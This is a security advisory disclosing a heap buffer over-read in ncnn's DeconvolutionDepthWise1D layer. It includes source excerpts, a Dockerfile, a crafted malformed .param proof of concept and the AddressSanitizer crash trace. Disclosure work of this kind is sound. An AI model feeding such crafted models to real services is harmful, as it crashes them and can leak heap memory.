Malformed Model Causes Heap Buffer Over-Read
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/deconvolutiondepthwise1d.cpp:94 in deconvolutiondepthwise1d
Sanitizer verdict: heap-buffer-overflow
Summary
DeconvolutionDepthWise1D reads kernel_w weights per group from the weight blob while the blob itself was sized from the independent weight_data_size parameter. A model that declares a 100-tap kernel but only one weight makes the layer read 400 bytes out of a 4-byte tensor, folding adjacent heap floats into the output and aborting the process. The PoC feeds the .param/.bin pair to ncnnoptimize, which executes the layer inside ModelWriter::shape_inference().
Detail
Two independent attacker-controlled fields disagree here. DeconvolutionDepthWise1D::load_param() reads kernel_w from param id 1 and weight_data_size from param id 6, and load_model() sizes the weight tensor from the latter alone:
// src/layer/deconvolutiondepthwise1d.cpp:42
int DeconvolutionDepthWise1D::load_model(const ModelBin& mb)
{
if (dynamic_weight)
return 0;
weight_data = mb.load(weight_data_size, 0);
if (weight_data.empty())
return -100;
Nothing then checks that weight_data_size is at least kernel_w * group. The depth-wise kernel takes a raw float* into the weight blob offset by group and indexes it with the kernel loop counter:
// src/layer/deconvolutiondepthwise1d.cpp:79
const float* inptr = bottom_blob.row(g);
const float* kptr = (const float*)weight_data + kernel_w * g;
// src/layer/deconvolutiondepthwise1d.cpp:92
for (int k = 0; k < kernel_w; k++)
{
float w = kptr[k];
outptr[k * dilation_w] += val * w;
}
The PoC declares DeconvolutionDepthWise1D deconv 1 1 data out 0=1 1=100 2=1 3=1 4=0 5=0 6=1 7=1 9=0: kernel_w = 100, group = 1, but weight_data_size = 1. The .bin supplies a single float behind the raw tag 0x0002C056, so mb.load(1, 0) produces a Mat whose allocation is 16 bytes of payload plus a 4-byte refcount plus the 64-byte NCNN_MALLOC_OVERREAD tail — the 84-byte region named in the report. The loop at line 92 nevertheless reads kptr[0] through kptr[99], i.e. 400 bytes; index 21 is at byte offset 84 and is the first address past the allocation. Every tap beyond the first multiplies the input by whatever bytes happen to follow the weight buffer on the heap.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-model-causes-heap-buffer-over-read && cd ncnn-poc-malformed-model-causes-heap-buffer-over-read
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1 1=1
DeconvolutionDepthWise1D d 1 1 data out 0=1 1=100 6=1
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000094 at pc 0x62068c3ea97a bp 0x7fff8099b3c0 sp 0x7fff8099b3b0
READ of size 4 at 0x50e000000094 thread T0
#0 0x62068c3ea979 in deconvolutiondepthwise1d /ncnn/src/layer/deconvolutiondepthwise1d.cpp:94
#1 0x62068c3eedda in ncnn::DeconvolutionDepthWise1D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/deconvolutiondepthwise1d.cpp:186
#2 0x62068392ef2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#3 0x620683920b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x6206839809e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x6206838123c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x62068388feee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x7ce0aa62b1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x7ce0aa62b28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x62068380f624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
#0 0x7ce0aaca4f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x6206838debc5 in fastMalloc /ncnn/src/allocator.h:62
#2 0x6206838debc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
#3 0x620683911381 in ncnn::ModelBinFromDataReader::load(int, int) const /ncnn/src/modelbin.cpp:273
#4 0x62068c3e6c0d in ncnn::DeconvolutionDepthWise1D::load_model(ncnn::ModelBin const&) /ncnn/src/layer/deconvolutiondepthwise1d.cpp:47
#5 0x62068397ba84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
#6 0x62068388fc34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#7 0x7ce0aa62b1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x7ce0aa62b28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x62068380f624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/deconvolutiondepthwise1d.cpp:94 in deconvolutiondepthwise1d
Credit
Zheng Yu @ DepthFirst